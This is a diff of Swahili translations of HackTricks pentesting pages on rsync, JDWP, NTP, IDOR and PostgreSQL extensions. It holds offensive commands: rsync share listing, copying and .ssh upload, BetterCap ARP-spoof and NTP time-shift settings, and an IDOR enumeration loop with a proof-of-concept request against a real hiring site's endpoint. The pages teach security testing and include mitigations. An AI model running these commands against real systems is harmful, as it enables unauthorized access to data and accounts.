> **rsync** ni chombo cha kuhamasisha [kuhamasisha](https://en.wikipedia.org/wiki/File_transfer) na [kuunganisha](https://en.wikipedia.org/wiki/File_synchronization) [faili](https://en.wikipedia.org/wiki/Computer_file) kati ya kompyuta na diski ngumu ya nje na kati ya [kompyuta](https://en.wikipedia.org/wiki/Computer) zilizounganishwa [mtandao](https://en.wikipedia.org/wiki/Computer_network) kwa kulinganisha [nyakati za mabadiliko](<https://en.wikipedia.org/wiki/Timestamping_(computing)>) na ukubwa wa faili.[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) Inapatikana mara nyingi kwenye [sistimu za uendeshaji](https://en.wikipedia.org/wiki/Operating_system) zinazofanana na [Unix](https://en.wikipedia.org/wiki/Unix-like). Algorithimu ya rsync ni aina ya [delta encoding](https://en.wikipedia.org/wiki/Delta_encoding), na inatumika kupunguza matumizi ya mtandao. [Zlib](https://en.wikipedia.org/wiki/Zlib) inaweza kutumika kwa [kuongeza](https://en.wikipedia.org/wiki/Data_compression) [kushinikiza data](https://en.wikipedia.org/wiki/Data_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) na [SSH](https://en.wikipedia.org/wiki/Secure_Shell) au [stunnel](https://en.wikipedia.org/wiki/Stunnel) zinaweza kutumika kwa usalama.
**Bandari ya kawaida:** 873
**Default port:** 873
```
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
```
## Uainishaji
## Enumeration
### Bango & Mawasiliano ya Kawaida
### Banner & Manual communication
```bash
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@ -39,7 +39,7 @@ raidroot
```
### **Kuhesabu Folda Zinazoshirikiwa**
**Moduli za Rsync** zinatambulika kama **ushirikiano wa saraka** ambao unaweza kuwa **na nywila za ulinzi**. Ili kubaini moduli zinazopatikana na kuangalia kama zinahitaji nywila, amri zifuatazo zinatumika:
**Moduli za Rsync** zinatambulika kama **ushirikiano wa saraka** ambazo zinaweza kuwa **zilizo na nywila**. Ili kubaini moduli zinazopatikana na kuangalia kama zinahitaji nywila, amri zifuatazo zinatumika:
```bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
@ -47,13 +47,13 @@ msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
```
Kumbuka kwamba baadhi ya sehemu zinaweza kutokuwepo kwenye orodha, huenda zikajificha. Zaidi ya hayo, kufikia baadhi ya sehemu kunaweza kuwa na vizuizi kwa **credentials** maalum, vinavyoonyeshwa na ujumbe wa **"Access Denied"**.
Kumbuka kwamba baadhi ya sehemu zinaweza kutokuwepo kwenye orodha, huenda zikafichwa. Zaidi ya hayo, kufikia baadhi ya sehemu kunaweza kuwa na vizuizi kwa **credentials** maalum, vinavyoonyeshwa na ujumbe wa **"Access Denied"**.
### [**Brute Force**](../generic-hacking/brute-force.md#rsync)
### Matumizi ya Manual ya Rsync
### Matumizi ya Manual Rsync
Baada ya kupata **module list**, hatua zinategemea kama uthibitisho unahitajika. Bila uthibitisho, **listing** na **copying** faili kutoka kwa folda iliyoshirikiwa hadi kwenye directory ya ndani inapatikana kupitia:
Baada ya kupata **module list**, hatua zinategemea kama uthibitisho unahitajika. Bila uthibitisho, **kuorodhesha** na **kunakili** faili kutoka kwenye folda iliyoshirikiwa hadi kwenye directory ya ndani inafanywa kupitia:
```bash
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
@ -63,7 +63,7 @@ rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
```
Hii mchakato **huhamasisha faili kwa kurudi nyuma**, ikihifadhi sifa na ruhusa zao.
Kwa **vithibitisho**, orodha na kupakua kutoka kwa folda iliyopewa inaweza kufanywa kama ifuatavyo, ambapo dirisha la kuingiza nenosiri litajitokeza:
Kwa **vithibitisho**, orodha na kupakua kutoka kwa folda iliyopewa inaweza kufanywa kama ifuatavyo, ambapo dirisha la nenosiri litajitokeza:
```bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
@ -74,7 +74,7 @@ rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
```
## POST
Ili kupata faili ya usanidi ya rsyncd, tekeleza:
Ili kupata faili ya usanidi wa rsyncd, tekeleza:
```bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
```

View File

@ -5,7 +5,7 @@
## Exploiting
JDWP unyakuzi unategemea **ukosefu wa uthibitisho na usimbuaji** wa protokali. Kwa kawaida hupatikana kwenye **bandari 8000**, lakini bandari nyingine zinaweza kutumika. Muunganisho wa awali unafanywa kwa kutuma "JDWP-Handshake" kwenye bandari lengwa. Ikiwa huduma ya JDWP inafanya kazi, inajibu kwa kutumia string ile ile, ikithibitisha uwepo wake. Huu mkono unafanya kazi kama njia ya kutambua huduma za JDWP kwenye mtandao.
JDWP unyakuzi unategemea **ukosefu wa uthibitisho na usimbuaji wa protokali**. Kwa kawaida hupatikana kwenye **bandari 8000**, lakini bandari nyingine zinaweza kuwa. Muunganisho wa awali unafanywa kwa kutuma "JDWP-Handshake" kwenye bandari lengwa. Ikiwa huduma ya JDWP inafanya kazi, inajibu kwa kutumia string ile ile, ikithibitisha uwepo wake. Huu mkono unafanya kazi kama njia ya kutambua huduma za JDWP kwenye mtandao.
Kwa upande wa utambuzi wa mchakato, kutafuta string "jdwk" katika michakato ya Java kunaweza kuashiria kikao cha JDWP kinachofanya kazi.
@ -26,9 +26,9 @@ Nimegundua kwamba matumizi ya `--break-on 'java.lang.String.indexOf'` yanafanya
- Ni protokali ya mtandao ya binary inayotumia pakiti, hasa synchronous.
- Haina uthibitisho na usimbaji, hivyo inakuwa hatarini inapokuwa wazi kwa mitandao ya adui.
2. **Kushikana kwa JDWP**:
2. **Mkataba wa JDWP**:
- Mchakato rahisi wa kushikana unatumika kuanzisha mawasiliano. Mstari wa ASCII wenye herufi 14 “JDWP-Handshake” unabadilishana kati ya Debugger (mteja) na Debuggee (server).
- Mchakato rahisi wa mkataba unatumika kuanzisha mawasiliano. Mstari wa ASCII wenye herufi 14 “JDWP-Handshake” unabadilishana kati ya Debugger (mteja) na Debuggee (server).
3. **Mawasiliano ya JDWP**:
@ -42,11 +42,11 @@ Nimegundua kwamba matumizi ya `--break-on 'java.lang.String.indexOf'` yanafanya
5. **Ukatili wa Kweli**:
- Licha ya ulinzi wa firewall unaowezekana, huduma za JDWP zinaweza kupatikana na kuathiriwa katika hali halisi, kama inavyoonyeshwa na utafutaji kwenye majukwaa kama ShodanHQ na GitHub.
- Skripti ya exploit ilijaribiwa dhidi ya toleo mbalimbali za JDK na ni huru kwa jukwaa, ikitoa Utekelezaji wa Msimbo wa K remote (RCE) wa kuaminika.
- Licha ya uwezekano wa ulinzi wa firewall, huduma za JDWP zinaweza kupatikana na kuathiriwa katika hali halisi, kama inavyoonyeshwa na utafutaji kwenye majukwaa kama ShodanHQ na GitHub.
- Skripti ya exploit ilijaribiwa dhidi ya toleo mbalimbali za JDK na ni huru ya jukwaa, ikitoa Utekelezaji wa Msimbo wa K remote (RCE) wa kuaminika.
6. **Madhara ya Usalama**:
- Uwepo wa huduma za JDWP wazi kwenye mtandao unaonyesha hitaji la ukaguzi wa usalama wa mara kwa mara, kuzima kazi za debug katika uzalishaji, na usanidi sahihi wa firewall.
- Uwepo wa huduma za JDWP wazi kwenye mtandao unaonyesha hitaji la ukaguzi wa mara kwa mara wa usalama, kuzima kazi za debug katika uzalishaji, na usanidi mzuri wa firewall.
### **Marejeleo:**
@ -57,7 +57,7 @@ Nimegundua kwamba matumizi ya `--break-on 'java.lang.String.indexOf'` yanafanya
- [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
- http://www.hsc-news.com/archives/2013/000109.html (no longer active)
- [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
- https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults
- [https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults](https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults)
- [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com)
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)

View File

@ -4,17 +4,17 @@
## Basic Information
**Network Time Protocol (NTP)** inahakikisha kwamba kompyuta na vifaa vya mtandao katika mitandao yenye latensi tofauti zinaweza kusawazisha saa zao kwa usahihi. Ni muhimu kwa kudumisha usahihi wa wakati katika operesheni za IT, usalama, na uandishi wa kumbukumbu. Kwa sababu wakati unatumika katika karibu kila uthibitisho, crypto-protocol na mchakato wa uchunguzi, **mshambuliaji ambaye anaweza kuathiri NTP mara nyingi anaweza kupita udhibiti wa usalama au kufanya mashambulizi kuwa magumu kuchunguza.**
**Network Time Protocol (NTP)** inahakikisha kwamba kompyuta na vifaa vya mtandao katika mitandao yenye latensi tofauti zinapatana saa zao kwa usahihi. Ni muhimu kwa kudumisha usahihi wa wakati katika operesheni za IT, usalama, na uandishi wa kumbukumbu. Kwa sababu wakati unatumika katika karibu kila uthibitisho, crypto-protocol na mchakato wa uchunguzi, **mshambuliaji ambaye anaweza kuathiri NTP mara nyingi anaweza kupita udhibiti wa usalama au kufanya mashambulizi kuwa magumu kuchunguza.**
### Summary & Security Tips
- **Purpose**: Inasawazisha saa za vifaa kupitia mitandao.
- **Purpose**: Inapatana saa za vifaa kupitia mitandao.
- **Importance**: Muhimu kwa usalama, uandishi wa kumbukumbu, crypto-protocols na mifumo iliyosambazwa.
- **Security Measures**:
- Tumia vyanzo vya NTP au NTS (Network Time Security) vilivyoaminika na uthibitisho.
- Punguza nani anaweza kuuliza/kutoa amri kwa daemon (``restrict default noquery``, ``kod`` n.k.).
- Zima maswali ya udhibiti ya Mode-6/7 ya zamani (``monlist``, ``ntpdc``) au punguza kiwango chao.
- Fuata mabadiliko ya usawazishaji/halisi ya sekunde za kuruka kwa udanganyifu.
- Fuata mabadiliko ya usawazishaji/halisi ya sekunde za kuruka kwa uingiliaji.
- Hifadhi daemon ikisasishwa (angalia CVEs za hivi karibuni hapa chini).
**Default ports**
@ -28,7 +28,7 @@ PORT STATE SERVICE REASON
123/udp open ntp udp-response
```
---
## Uhesabu
## Uainishaji
### Klasiki ntpd / ntpq / ntpdc
```bash
@ -76,37 +76,37 @@ zgrab2 ntp --monlist --timeout 3 --output-file monlist.json -f "zmap_results.csv
Zingatia kwa makini mistari ya ``restrict``, mipangilio ya ``kod`` (Kiss-o'-Death), ``disable monitor``/``includefile /etc/ntp/crypto`` na ikiwa *NTS* imewezeshwa (``nts enable``).
---
## Uthibitisho wa Hivi Karibuni (2023-2025)
## Uhalifu wa Karibuni (2023-2025)
| Mwaka | CVE | Kipengele | Athari |
|------|-----|-----------|--------|
| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Maandishi mengi ya nje ya mipaka yanayoweza kufikiwa kupitia majibu ya **ntpq**. Patch katika **4.2.8p16** 🡒 sasisha au rudisha marekebisho. citeturn1search1turn1search2turn1search0|
| 2023 | **CVE-2023-33192** | **ntpd-rs** (uteuzi wa Rust) | Keki ya **NTS** isiyo sahihi husababisha **DoS** ya mbali kabla ya v0.3.3 inahusisha bandari 123 hata wakati NTS **imezimwa**. citeturn4view0|
| 2024 | sasisho za distro | **chrony 4.4 / 4.5** uimarishaji wa usalama kadhaa & marekebisho ya NTS-KE (mfano SUSE-RU-2024:2022) citeturn2search2|
| 2024 | Rekodi ya DDoS | Cloudflare inaripoti shambulio la **5.6 Tbps UDP reflection** (NTP miongoni mwa protokali zinazotumika). Hifadhi *monitor* & *monlist* zimezimwa kwenye mwenyeji wanaokabiliwa na Mtandao. citeturn5search0|
| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Kuandika nje ya mipaka kadhaa kunapatikana kupitia majibu ya **ntpq**. Patch katika **4.2.8p16** 🡒 sasisha au rudisha marekebisho. |
| 2023 | **CVE-2023-33192** | **ntpd-rs** (uteuzi wa Rust) | Keki ya **NTS** isiyo sahihi husababisha **DoS** ya mbali kabla ya v0.3.3 inaathiri bandari 123 hata wakati NTS **imezimwa**. |
| 2024 | sasisho za distro | **chrony 4.4 / 4.5** uimarishaji wa usalama kadhaa & marekebisho ya NTS-KE (mfano SUSE-RU-2024:2022) |
| 2024 | Rekodi ya DDoS | Cloudflare inaripoti shambulio la **5.6 Tbps UDP reflection** (NTP miongoni mwa protokali zinazotumika). Hifadhi *monitor* & *monlist* zikiwa zimezimwa kwenye mwenyeji wa mtandao. |
> **Vifaa vya kuendeleza**: Mifano ya uthibitisho wa dhana kwa mfululizo wa 2023 ntpq OOB-write iko kwenye GitHub (ona andiko la Meinberg) na inaweza kutumika kama silaha kwa uvuvi wa upande wa mteja wa wasimamizi wa mifumo. citeturn1search4
> **Vifaa vya kutekeleza**: Mifano ya uthibitisho wa mzigo wa 2023 ntpq OOB-write iko kwenye GitHub (angalia andiko la Meinberg) na inaweza kutumika kama silaha kwa uvuvi wa upande wa mteja wa wasimamizi wa mifumo.
---
## Mashambulizi ya Juu
### 1. NTP Amplification / Reflection
Swali la zamani la Mode-7 ``monlist`` linarejesha hadi **600 anwani za mwenyeji** na bado lipo kwenye maelfu ya mwenyeji wa Mtandao. Kwa sababu ya jibu (428-468 bytes/entry) ni *~ 200×* kubwa kuliko ombi la byte 8, mshambuliaji anaweza kufikia viwango vya kuimarisha vya tarakimu tatu. Mipango ya kupunguza:
Swali la zamani la Mode-7 ``monlist`` linarejesha hadi **600 anwani za mwenyeji** na bado lipo kwenye maelfu ya mwenyeji wa Mtandao. Kwa sababu jibu (428-468 bytes/entry) ni *~ 200×* kubwa zaidi kuliko ombi la byte 8, mshambuliaji anaweza kufikia viwango vya kuimarisha vya tarakimu tatu. Njia za kupunguza:
- Sasisha hadi ntp 4.2.8p15+ na **ongeza** ``disable monitor``.
- Punguza kiwango cha UDP/123 kwenye ukingo au wezesha *sessions-required* kwenye vifaa vya DDoS.
- Wezesha *BCP 38* uchujaji wa kutoka kuzuia udanganyifu wa chanzo.
Tazama makala ya kituo cha kujifunza cha Cloudflare kwa muhtasari wa hatua kwa hatua. citeturn5search1
Tazama makala ya kituo cha kujifunza cha Cloudflare kwa muhtasari wa hatua kwa hatua.
### 2. Mashambulizi ya Muda-Kuhamishwa / Kuchelewesha (utafiti wa Khronos / Chronos)
### 2. Mashambulizi ya Muda-Kuhamisha / Kuchelewesha (Utafiti wa Khronos / Chronos)
Hata na uthibitisho, mshambuliaji aliye kwenye njia anaweza kimya kimya **kuhamasisha saa ya mteja** kwa kuangusha/kuchelewesha pakiti. Rasimu ya IETF **Khronos (zamani Chronos)** inapendekeza kuuliza seti tofauti ya seva kwa nyuma na kuangalia matokeo ili kugundua mabadiliko > 𝚡 ms. Chrony ya kisasa (4.4+) tayari inatekeleza chujio kama hicho cha akili (``maxdistance`` / ``maxjitter``). citeturn9search1
Hata na uthibitisho, mshambuliaji kwenye njia anaweza kimya kimya **kuhamasisha saa ya mteja** kwa kuangusha/kuchelewesha pakiti. Rasimu ya IETF **Khronos (zamani Chronos)** inapendekeza kuuliza seti tofauti ya seva kwa nyuma na kuangalia matokeo ili kugundua mabadiliko > 𝚡 ms. Chrony ya kisasa (4.4+) tayari inatekeleza chujio kama hicho cha akili (``maxdistance`` / ``maxjitter``).
### 3. Unyanyasaji wa NTS & 4460/tcp kufichuliwa
### 3. Matumizi mabaya ya NTS & 4460/tcp kufichuliwa
NTS inahamisha crypto nzito kwenye **kanali ya TLS 1.3 kwenye 4460/tcp** (``ntske/1``). Utekelezaji mbaya (ona CVE-2023-33192) unakufa wakati wa kuchambua keki au kuruhusu cipher dhaifu. Wapimaji wa usalama wanapaswa:
NTS inahamisha crypto nzito kwenye **kanali ya TLS 1.3 kwenye 4460/tcp** (``ntske/1``). Utekelezaji mbaya (angalia CVE-2023-33192) unakufa wakati wa kuchambua keki au kuruhusu cipher dhaifu. Wapimaji wa pentesting wanapaswa:
```bash
# TLS reconnaissance
nmap -sV -p 4460 --script ssl-enum-ciphers,ssl-cert <IP>
@ -114,20 +114,20 @@ nmap -sV -p 4460 --script ssl-enum-ciphers,ssl-cert <IP>
# Grab banner & ALPN
openssl s_client -connect <IP>:4460 -alpn ntske/1 -tls1_3 -ign_eof
```
Tafuta vyeti vilivyojitegemea au vilivyokwisha muda na cipher-suites dhaifu (non-AEAD). Kumbukumbu: RFC 8915 §4. citeturn11search0
Tafuta vyeti vilivyojitegemea au vilivyokwisha muda na cipher-suites dhaifu (non-AEAD). Kumbukumbu: RFC 8915 §4.
---
## Kuimarisha / Mbinu Bora za Sasa (BCP-233 / RFC 8633)
*Opereta WANAPASWA:*
*Waendeshaji WANAPASWA:*
1. Tumia **≥ 4** vyanzo huru, tofauti vya muda (mabwawa ya umma, GPS, PTP-bridges) ili kuepuka sumu ya chanzo kimoja.
2. Washa ``kod`` na ``limited``/``nomodify`` vizuizi ili wateja wanaotumia vibaya wapokee pakiti za **Kiss-o'-Death** za mipaka ya kiwango badala ya majibu kamili.
3. Fuata kumbukumbu za daemon kwa matukio ya **panic** au marekebisho ya hatua > 1000 s. (Saini za shambulio kwa mujibu wa RFC 8633 §5.3.)
4. Fikiria **leap-smear** ili kuepuka kukosekana kwa sekunde za leap, lakini hakikisha *wateja wote* wa chini wanatumia dirisha sawa la smear.
4. Fikiria **leap-smear** ili kuepuka kukatika kwa sekunde za leap, lakini hakikisha *wateja wote* wa chini wanatumia dirisha sawa la smear.
5. Hifadhi polling ≤24 h ili bendera za sekunde za leap zisikosewe.
Tazama RFC 8633 kwa orodha kamili. citeturn8search0turn8search1
Tazama RFC 8633 kwa orodha kamili ya ukaguzi.
---
## Shodan / Censys Dorks
@ -144,7 +144,7 @@ port:4460 "ntske" # NTS-KE
| ``ntpwn`` | Wrapper ya script-kiddie kutekeleza maswali ya monlist & peers | ``python ntpwn.py --monlist targets.txt`` |
| **zgrab2 ntp** | Skanning ya wingi / Matokeo ya JSON ikiwa na bendera ya monlist | Tazama amri hapo juu |
| ``chronyd`` na ``allow`` | Endesha seva ya NTP isiyo halali katika maabara ya pentest | ``chronyd -q 'server 127.127.1.0 iburst'`` |
| ``BetterCap`` | Ingiza pakiti za NTP kwa ajili ya MITM ya mabadiliko ya wakati kwenye Wi-Fi | ``set arp.spoof.targets <victim>; set ntp.time.delta 30s; arp.spoof on`` |
| ``BetterCap`` | Ingiza pakiti za NTP kwa ajili ya muda-kubadilisha MITM kwenye Wi-Fi | ``set arp.spoof.targets <victim>; set ntp.time.delta 30s; arp.spoof on`` |
---
## Amri za Kiotomatiki za HackTricks
@ -167,16 +167,16 @@ Description: Enumerate NTP
Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 {IP}
```
---
## Marejeleo
## References
- RFC 8915 *Usalama wa Wakati wa Mtandao kwa Protokali ya Wakati wa Mtandao* (bandari 4460) citeturn11search0
- RFC 8633 *Protokali ya Wakati wa Mtandao BCP* citeturn8search0
- Ripoti ya DDoS ya Cloudflare 2024 Q4 (5.6 Tbps) citeturn5search0
- Makala ya Cloudflare *Shambulio la Kuongeza NTP* citeturn5search1
- NTP 4.2.8p15 mfululizo wa CVE 2023-04 citeturn1search4
- Kuingia kwa NVD **CVE-2023-2655155**, **CVE-2023-33192** citeturn1search1turn1search2turn1search0turn4view0
- Sasisho la usalama la SUSE chrony 2024 (chrony 4.5) citeturn2search2
- Rasimu ya Khronos/Chronos (kupunguza mabadiliko ya wakati) citeturn9search1
- Mwongozo wa chronyc/mifano kwa ufuatiliaji wa mbali citeturn3search0turn10search1
- Nyaraka za moduli ya ntp ya zgrab2 citeturn7search0
- RFC 8915 *Usalama wa Wakati wa Mtandao kwa Protokali ya Wakati wa Mtandao* (port 4460)
- RFC 8633 *Protokali ya Wakati wa Mtandao BCP*
- Ripoti ya DDoS ya Cloudflare 2024 Q4 (5.6 Tbps)
- Makala ya Cloudflare *Shambulio la Kuongeza NTP*
- NTP 4.2.8p15 CVE mfululizo 2023-04
- NVD entries **CVE-2023-2655155**, **CVE-2023-33192**
- Sasisho la usalama la SUSE chrony 2024 (chrony 4.5)
- Rasimu ya Khronos/Chronos (kupunguza mabadiliko ya wakati)
- mwongozo wa chronyc/mifano kwa ufuatiliaji wa mbali
- zgrab2 ntp module docs
{{#include /banners/hacktricks-training.md}}

View File

@ -1,3 +1,85 @@
# IDOR (Insecure Direct Object Reference)
{{#include ../banners/hacktricks-training.md}}
**Angalia chapisho: [https://medium.com
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) inajitokeza wakati mwisho wa wavuti au API unatoa au unakubali kitambulisho kinachoweza kudhibitiwa na mtumiaji ambacho kinatumika **moja kwa moja** kufikia kitu cha ndani **bila kuthibitisha kwamba mpiga simu anaidhinishwa** kufikia/kubadilisha kitu hicho. Utekelezaji wa mafanikio kawaida unaruhusu kupanda kwa haki za usawa au wima kama kusoma au kubadilisha data za watumiaji wengine na, katika hali mbaya, kuchukua akaunti kamili au kuhamasisha data kwa wingi.
---
## 1. Kutambua IDOR zinazoweza kutokea
1. Tafuta **parameta zinazorejelea kitu**:
* Njia: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
* Swali: `?id=42`, `?invoice=2024-00001`
* Mwili / JSON: `{"user_id": 321, "order_id": 987}`
* Vichwa / Cookies: `X-Client-ID: 4711`
2. Prefer mwisho ambao **unasoma au kubadilisha** data (`GET`, `PUT`, `PATCH`, `DELETE`).
3. Kumbuka wakati vitambulisho ni **mfuatano au vinavyoweza kutabiriwa** ikiwa ID yako ni `64185742`, basi `64185741` huenda ipo.
4. Chunguza njia zilizofichwa au mbadala (mfano *"Wajumbe wa timu ya Paradox"* kiungo kwenye kurasa za kuingia) ambazo zinaweza kufichua APIs za ziada.
5. Tumia **sehemu ya kuthibitishwa ya chini ya haki** na badilisha tu ID **ukihifadhi tokeni/cookie ile ile**. Kukosekana kwa kosa la idhini kawaida ni ishara ya IDOR.
### Quick manual tampering (Burp Repeater)
```
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
```
### Uainishaji wa otomatiki (Burp Intruder / curl loop)
```bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
```
---
## 2. Utafiti wa Kesi Halisi Jukwaa la Chatbot la McHire (2025)
Wakati wa tathmini ya lango la ajira la **McHire** lililokuwa na nguvu za Paradox.ai, IDOR ifuatayo iligundulika:
* Endpoint: `PUT /api/lead/cem-xhr`
* Authorization: cookie ya kikao cha mtumiaji kwa akaunti ya mtihani ya **yoyote** ya mgahawa
* Body parameter: `{"lead_id": N}` kitambulisho cha nambari cha **mfuatano** cha tarakimu 8
Kwa kupunguza `lead_id`, mtathmini alirejesha taarifa za waombaji **kamili za PII** (jina, barua pepe, simu, anwani, mapendeleo ya zamu) pamoja na **JWT** ya mtumiaji ambayo iliruhusu kuiba kikao. Uhesabuji wa anuwai `1 64,185,742` ulifunua takriban **milioni 64** za rekodi.
Ombi la Ushahidi wa Dhihirisho:
```bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
```
Pamoja na **default admin credentials** (`123456:123456`) ambazo ziliwezesha ufikiaji wa akaunti ya mtihani, udhaifu huu ulisababisha uvunjaji mkubwa wa data katika kampuni nzima.
---
## 3. Athari za IDOR / BOLA
* Kupanua kwa usawa soma/update/futa data za **watumiaji wengine**.
* Kupanua kwa wima mtumiaji mwenye mamlaka ya chini anapata kazi za kiutawala pekee.
* Uvunjaji wa data kwa wingi ikiwa vitambulisho ni vya mfululizo (mfano, vitambulisho vya waombaji, ankara).
* Kuchukua akaunti kwa kuiba tokens au kurekebisha nywila za watumiaji wengine.
---
## 4. Njia za Kupunguza & Mbinu Bora
1. **Tekeleza idhini ya kiwango cha kitu** kwenye kila ombi (`user_id == session.user`).
2. Prefer **vitambulisho visivyoweza kudhaniwa** (UUIDv4, ULID) badala ya vitambulisho vya kuongezeka kiotomatiki.
3. Fanya idhini **seva upande**, usitegemee maeneo ya siri ya fomu au udhibiti wa UI.
4. Tekeleza **RBAC / ABAC** ukaguzi katika middleware kuu.
5. Ongeza **kikomo cha kiwango & ufuatiliaji** kugundua kuhesabu vitambulisho.
6. Fanya mtihani wa usalama kwenye kila mwisho mpya (kitengo, ujumuishaji, na DAST).
---
## 5. Zana
* **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder.
* **OWASP ZAP**: Auth Matrix, Forced Browse.
* **Github projects**: `bwapp-idor-scanner`, `Blindy` (uwindaji wa IDOR kwa wingi).
{{#include ../banners/hacktricks-training.md}}
## Marejeleo
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants PII](https://ian.sh/mcdonalds)
* [OWASP Top 10 Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
* [How to Find More IDORs Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
{{#include /banners/hacktricks-training.md}}

View File

@ -4,9 +4,9 @@
## PostgreSQL Extensions
PostgreSQL imeandaliwa na upanuzi kama kipengele cha msingi, ikiruhusu kuunganishwa kwa upanuzi kama vile ni kazi zilizojengwa ndani. Upanuzi hawa, kimsingi maktaba yaliyoandikwa kwa C, huongeza hifadhidata kwa kazi, waendeshaji, au aina za ziada.
PostgreSQL imeandaliwa kwa kuzingatia upanuzi kama kipengele cha msingi, ikiruhusu kuunganishwa kwa upanuzi kama vile zilikuwa kazi zilizojengwa ndani. Upanuzi hawa, kimsingi maktaba yaliyoandikwa kwa C, yanapanua hifadhidata kwa kazi, waendeshaji, au aina za ziada.
Kuanzia toleo la 8.1, hitaji maalum limewekwa kwa maktaba za upanuzi: lazima ziandikwe kwa kichwa maalum. Bila hii, PostgreSQL haitazitekeleza, kuhakikisha kuwa ni upanuzi unaofaa na huenda ni salama pekee ndio zinatumika.
Kuanzia toleo la 8.1 na kuendelea, hitaji maalum linatolewa kwa maktaba za upanuzi: lazima ziandikwe kwa kichwa maalum. Bila hii, PostgreSQL haitazitekeleza, kuhakikisha kuwa ni upanuzi unaofaa na pengine salama pekee ndio zinatumika.
Pia, kumbuka kwamba **ikiwa hujui jinsi ya** [**kupakia faili kwa mwathirika kwa kutumia PostgreSQL unapaswa kusoma chapisho hili.**](big-binary-files-upload-postgresql.md)
@ -75,13 +75,13 @@ HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
```
Kosa hili linaelezwa katika [PostgreSQL documentation](https://www.postgresql.org/docs/current/static/xfunc-c.html):
> Ili kuhakikisha kwamba faili la kitu kilichopakiwa kwa njia ya kidijitali halijapakiwa kwenye seva isiyofaa, PostgreSQL inakagua kwamba faili ina "block ya kichawi" yenye maudhui yanayofaa. Hii inaruhusu seva kugundua kutokubaliana dhahiri, kama vile msimbo ulioandikwa kwa toleo tofauti kuu la PostgreSQL. Block ya kichawi inahitajika kuanzia PostgreSQL 8.2. Ili kujumuisha block ya kichawi, andika hii katika moja (na moja tu) ya faili za chanzo za moduli, baada ya kujumuisha kichwa fmgr.h:
> Ili kuhakikisha kwamba faili la kitu kilichopakiwa kwa njia ya kidijitali halijapakiwa kwenye seva isiyofaa, PostgreSQL inakagua kwamba faili ina "block ya kichawi" yenye maudhui yanayofaa. Hii inaruhusu seva kugundua kutokubaliana wazi, kama vile msimbo ulioandikwa kwa toleo tofauti kuu la PostgreSQL. Block ya kichawi inahitajika kuanzia PostgreSQL 8.2. Ili kujumuisha block ya kichawi, andika hii katika moja (na moja tu) ya faili za chanzo za moduli, baada ya kujumuisha kichwa fmgr.h:
>
> `#ifdef PG_MODULE_MAGIC`\
> `PG_MODULE_MAGIC;`\
> `#endif`
Kuanzia toleo la PostgreSQL 8.2, mchakato wa mshambuliaji kutumia mfumo umefanywa kuwa mgumu zaidi. Mshambuliaji anahitajika ama kutumia maktaba ambayo tayari ipo kwenye mfumo au kupakia maktaba maalum. Maktaba hii maalum inapaswa kuandikwa dhidi ya toleo kuu linalofaa la PostgreSQL na inapaswa kujumuisha "block ya kichawi" maalum. Hatua hii inaongeza kwa kiasi kikubwa ugumu wa kutumia mifumo ya PostgreSQL, kwani inahitaji uelewa wa kina wa usanifu wa mfumo na ulinganifu wa toleo.
